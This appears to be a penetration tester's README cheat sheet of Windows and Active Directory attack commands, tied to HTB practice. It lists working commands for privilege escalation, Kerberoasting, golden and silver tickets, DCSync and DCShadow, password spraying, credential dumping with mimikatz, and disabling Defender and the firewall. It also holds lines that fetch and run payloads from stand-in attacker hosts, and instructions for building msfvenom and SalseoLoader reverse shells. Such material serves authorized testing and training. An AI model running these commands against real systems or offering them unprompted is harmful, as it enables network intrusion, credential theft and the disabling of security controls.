This readme is now outdated, using https://notes.morph3.blog

     Recon

# Systeminfo
systeminfo
hostname 

# Especially good with hotfix info
wmic qfe get Caption,Description,HotFixID,InstalledOn

# What users/localgroups are on the machine?
net users
net localgroups
net localgroup Administrators
net user morph3

# Crosscheck local and domain too
net user morph3 /domain
net group Administrators /domain

# Network information
ipconfig /all
route print
arp -A

# To see what tokens we have 
whoami /priv

# Recursive string scan
findstr /spin "password" *.*

# Running processes
tasklist /SVC

# Network connections
netstat -ano

# Search for writeable directories
dir /a-r-d /s /b

### Some good one-liners

# Obtain the path of the executable called by a Windows service (good for checking Unquoted Paths):
sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nul

Elevation of Privileges

     General

# PowerShellMafia
# Use always dev branch others are shit.
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
powershell.exe -c "Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks"
powershell.exe -c "Import-Module C:\Users\Public\Get-System.ps1; Get-System"

# Sherlock
https://github.com/rasta-mouse/Sherlock

# Unquoted paths
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v 

     Kerberoast

Simple logic for kerberoast is requesting tickets and cracking them(offline, doesn't produce any logs) -- For kerberos to work, times have to be within 5 minutes between attacker and victim.

# Rubeus 
.\.rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234

# List available tickets
setspn.exe -t evil.corp -q */*
powershell.exe -exec bypass -c "Import-Module .\GetUserSPNs.ps1"
cscript.exe GetUserSPNs.ps1

# List cached tickets
Invoke-Mimikatz -Command '"kerberos::list"'
powershell.exe -c "klist"
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"kerberos::list"'"

# Request tickets 
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"

# Requesting remotely
python GetUserSPNs.py -request ECORP/morph3:supersecurepassword@127.0.0.1

# Extract tickets
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat"
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack Tickets
python tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi

     Juicy Potato

https://github.com/ohpe/juicy-potato/releases Pick one CLSID from here according to your system https://github.com/ohpe/juicy-potato/tree/master/CLSID

Required tokens SeAssignPrimaryTokenPrivilege SeImpersonatePrivilege

C:\Windows\Temp\JuicyPotato.exe -p cmd.exe -a "/c whoami > C:\Users\Public\morph3.txt" -t * -l 1031 -c {d20a3293-3341-4ae8-9aaf-8e397cb63c34}

      Stored Credential

# To check if there is any stored keyscmdkey /list

# Using them
runas /user:administrator /savecred "cmd.exe /k whoami"

      Impersonating Tokens with meterpreter

use incognito
list_tokens -u
impersonate_token NT-AUTHORITY\System

Lateral Movement

PsExec, SmbExec, WMIExec, RDP, PTH in general. WinRM is always good. Check groups carefully. Since windows gave support to OpenSSH we should also consider SSH.

     Mimikatz Ticket PTH

Enable-PSRemoting
mimikatz.exe '" kerberos:ptt C:\Users\Public\ticketname.kirbi"' "exit"
Enter-PSSession -ComputerName ECORP

     WinRM

$pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('ECORP.local\morph3', $pass)
Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }

# Evil-WinRM
https://github.com/Hackplayers/evil-winrm
ruby evil-winrm.rb -i 192.168.1.2 -u morph3 -p morph3 -r evil.corp

     PTH with Mimikatz

Invoke-Mimikatz -Command '"sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command"'

     Database Links

# PowerUpSQL
https://github.com/NetSPI/PowerUpSQL

Get-SQLServerLink -Instance server -Verbose
powershell.exe -c "Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql"

# To see servers 
select srvname from master..sysservers;

# Native
Get-SQLServerLinkCrawl -Instance server -Query "exec master..xp_cmdshell 'whoami'"

# Linked database tables
select * from openquery("ECORP\FOO", 'select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES') 

# You can also use meterpreter module exploit/windows/mssql/mssql_linkcrawler
# With meterpreter module you can find linked databases and if you are admin on them

# You can do a query and try to enable xp_cmpshell on that server
select * from openquery("server",'select * from master..sysservers') EXECUTE AS USER = 'internal_user' ('sp_configure "xp_cmdshell",1;reconfigure;') AT "server"

Golden and Silver Tickets

Keys depend of ticket : --> for a Golden, they are from the krbtgt account; --> for a Silver, it comes from the "computer account" or "service account".

# Golden Ticket
# Extract the hash of the krbtgt user
lsadump::dcsync /domain:evil.corp /user:krbtgt
lsadump::lsa /inject
lsadump:::lsa /patch
lsadump::trust /patch

# creating the ticket 
# /rc4 or /krbtgt - the NTLM hash
# /sid you will get this from krbtgt dump
# /ticket parameter is optional but default is ticket.kirbi
# /groups parameter is optional but default is 513,512,520,518,519
# /id you can fake users and supply valid Administrator id 

kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519 
kerberos::ptt golden.tck # you can also add /ptt at the kerberos::golden command
# After this , final ticket must be ready

# You can now verify that your ticket is in your cache 
powershell.exe -c "klist"
# Verify that golden ticket is working
dir \\DC\C$
psexec.exe \\DC cmd.exe

# Purge the currently cached kerberos ticket
kerberos::purge 

#metasploit module can also be used for golden ticket, it loads the ticket into given session
post/windows/escalate/golden_ticket 

# Silver Ticket
# Silver Ticket allows escalation of privileges on DC
# /target t he server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, ...)
# /service - The service name for the ticket (ex: cifs, rpcss, http, mssql, ...)

# Examples
kerberos::golden /user:morph3 /domain:domain /sid:domain-sid /target:evilcorp-sql102.evilcorp.local.1433 /service:MSSQLSvc /rc4:service-hash /ptt /id:1103
sqlcmd -S evilcorp-sql102.evilcorp.local
select SYSTEM_USER;
GO

kerberos::golden /user:JohnDoe /id:500 /domain:targetdomain.com /sid:S-1-5-21-1234567890-123456789-1234567890 /target:targetserver.targetdomain.com /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt

AD Attacks

     Enumeration

# Basic ldap enumeration
enum4linux -a 192.168.1.2
python windapsearch.py -u morph3 -p morph3 -d evil.corp --dc-ip 192.168.1.2
python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd

     Bruteforce on ldap

# Password spray
https://github.com/dafthack/DomainPasswordSpray
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

# Password brute
./kerbrute_linux_amd64 bruteuser -d evil.corp --dc 192.168.1.2 rockyou.txt morph3

# Username brute
./kerbrute_linux_amd64 userenum -d evil.corp --dc 192.168.1.2 users.txt

# Password spray
./kerbrute_linux_amd64 passwordspray -d evil.corp --dc 192.168.1.2 users.txt rockyou.txt

     DC Shadow

DC Shadow attack aims to inject malicious Domain Controlllers into AD infrastructure so that we can dump actual AD members.

#Find sid for that user
wmic useraccount where (name='administrator' and domain='%userdomain%') get name,sid

#This will create a RPC Server and listen
lsadump::dcshadow /object:"CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local" /attribute:sidhistory /value:sid

# Run this from another mimikatz
lsadump::dcshadow /push

# After this unregistration must be done
# Relogin

lsadump::dcsync /domain:ECORP.local /account:krbtgt

# Now you must have krbtgt hash

https://attack.stealthbits.com/how-dcshadow-persistence-attack-works

     DC Sync

#####
lsadump::dcsync /domain:domain /all /csv
lsadump::dcsync /user:krbtgt

#####
https://gist.github.com/monoxgas/9d238accd969550136db
powershell.exe -c "Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat"

#####
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
python secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL

Bypass-Evasion Techniques

     Powershell Constrained Language Bypass

powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')

PSByPassCLM
powershell.exe -exec bypass -c

     Windows Defender

sc config WinDefend start= disabled
sc stop WinDefend
# Powershell
Set-MpPreference -DisableRealtimeMonitoring $true
# Remove definitions
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

     Firewall

Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off

     Ip Whitelisting

New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP

     Applocker ByPass

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md

# Multistep process to bypass applocker via MSBuild.exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.56 LPORT=9001  -f csharp -e x86/shikata_ga_nai -i  > out.cs 

# Replace the buf-sc and save it as out.csproj
https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml

Invoke-WebRequest "http://ATTACKER_IP/payload.csproj" -OutFile "out.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\out.csproj

# or you can simply use my tool :)
https://github.com/morph3/Msbuild-payload-generator
sudo python msbuild_gen.py -a x86 -i 10 --lhost 192.168.220.130 --lport 9001 -m

     GreatSCT

# This also needs Veil-Framework
python GreatSCT.py --ip 192.168.1.56 --port 443 -t Bypass -p installutil/powershell/script.py -c "OBFUSCATION=ascii SCRIPT=/root/script.ps1"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload1.exe

python3 GreatSCT.py -t Bypass -p regasm/meterpreter/rev_tcp --ip 192.168.1.56 --port 9001
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll

     EvilSalsa

#Preparing payloads
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt
EncrypterAssembly.exe EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt

#Executing payload
SalseoLoader.exe password http://ATTACKER_IP/evilsalsa.dll.txt reversetcp ATTACKER_IP 9001

# Reverse icmp shell
python icmpsh_m.py "ATTACKER_IP" "VICTIM_IP"
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ATTACKER_IP

Miscellaneous

     Changing Permissions of a file

icacls text.txt /grant Everyone:F

     Downloading files

IEX (New-Object System.Net.WebClient).DownloadString("http://ATTACKER_IP/rev.ps1")
(New-Object System.Net.WebClient).DownloadFile("http://ATTACKER_SERVER/malware.exe", "C:\Windows\Temp\malware.exe")  
Invoke-WebRequest "http://ATTACKER_SERVER/malware.exe" -OutFile "C:\Windows\Temp\malware.exe"  

certutil.exe -urlcache -split -f "http://127.0.0.1:80/shell.exe" shell.exe

     Adding user to Domain admins

Add-DomainGroupMember -Identity 'Domain Admins' -Members morph3 -Verbose

      Base64 Encode-Decode

certutil -decode foo.b64 foo.exe
certutil -encode foo.exe foo.b64

      Network sharing

# Local share
net share
wmic share get /format:list

# Remote share
net view
net view \\dc.ecorp.foo /all
wmic /node: dc.ecorp.foo share get

# Mounting share
net use Z: \\127.0.0.1\C$ /user:morph3 password123

      Port Forwarding

# Port forward using plink
plink.exe -l morph3 -pw pass123 192.168.1.56 -R 8080:127.0.0.1:8080

# Port forward using meterpreter
portfwd add -l attacker-port -p victim-port -r victim-ip
portfwd add -l 3306 -p 3306 -r 192.168.1.56

      Powershell Portscan

0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(VICTIM_IP,$_)) "Port $_ is open!"} 2>$null

      Recovering Powershell Secure String

######
$user = "morph3"
$file = "morph3-pass.xml"
$cred= New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, (Get-Content $file | ConvertTo-SecureString)
Invoke-Command -ComputerName ECORP -Credential $cred -Authentication credssp -ScriptBlock { whoami }

######
[System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR("string"))

######
$Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($password)
$result = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr)
[System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr)
$result 

      Injecting PowerShell scripts Into sessions

Invoke-Command -FilePath scriptname -Sessions $sessions
Enter-PSSession -Session $sess

      Enable RDP

# CMD 
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

# Powershell
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

# Optional
net localgroup "Remote Desktop Users" morph3 /add

# Reruling firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow

      Decrypting EFS files with Mimikatz

Follow the link here How to Decrypt EFS Files

privilege::debug 
token::elevate 
crypto::system /file:"C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\thecert" /export

dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id"

# Clear text password 
dpapi::masterkey /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\SID\masterkey" /password:pass123

# After this command you must have the exported .der and .pvk files
dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b

openssl x509 -inform DER -outform PEM -in blah.der -out public.pem

openssl rsa -inform PVK -outform PEM -in blah.pvk -out private.pem

openssl pkcs12 -in public.pem -inkey private.pem -password pass:randompass -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Import the certificate
certutil -user -p randompass -importpfx cert.pfx NoChain,NoRoot

type "C:\Users\Administrator\Documents\encrypted.txt"

Post exploitation - information gathering

      Reading Event Logs

User must be in "Event Log Reader" group Follow this link

Get-WinEvent -ListLog *

# Listing logs of a specific user
$cred = Get-Credentials
Get -WinEvent -ListLog * -ComputerName AD1 -Credentials $cred

# Reading Security logs
(Get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object @{name='NewProcessNam
e';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={
$_.Properties[8].Value }}).commandline

      Password Dump

# Metasploit
post/windows/gather/enum_chrome
post/multi/gather/firefox_creds
post/firefox/gather/cookies
post/firefox/gather/passwords
post/windows/gather/forensics/browser_history
post/windows/gather/enum_putty_saved_sessions

# Empire
collection/ChromeDump
collection/FoxDump
collection/netripper
credentials/sessiongopher

# mimikatz
privilege::debug
sekurlsa::logonpasswords

      Shadow copy

There might be a case where you are privileged but can't read-access to shadow files(NTDS.dit, SYSTEM etc.)

diskshadow.exe
set context persistent nowriters
add volume C: alias morph3
create
expose %morph3% Z:

# Deletion
delete shadows volume %morph3%
reset

      NTDS.dit dump

secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit -outputfile /tmp/result local

python crackmapexec.py 192.168.1.56 -u morph3 -p pass1234 -d evilcorp.com --ntds drsuapi

# on DC, lsass.exe can dump hashes
lsadump::lsa /inject

Summary of tools

      Ad Environment

icebreaker bloodhound

      Post Exploitation

Empire DeathStar CrackMapExec - CME Covenant Rubeus SharpDPAPI

      Bypass

Ebowla Veil-Framework PsBypassCLM

      Swiss Knife

impacket

Credits

Thanks to HTB for creating such a great platform. Special thanks to Layle and xct they helped me in countless topics. Learned so much from them.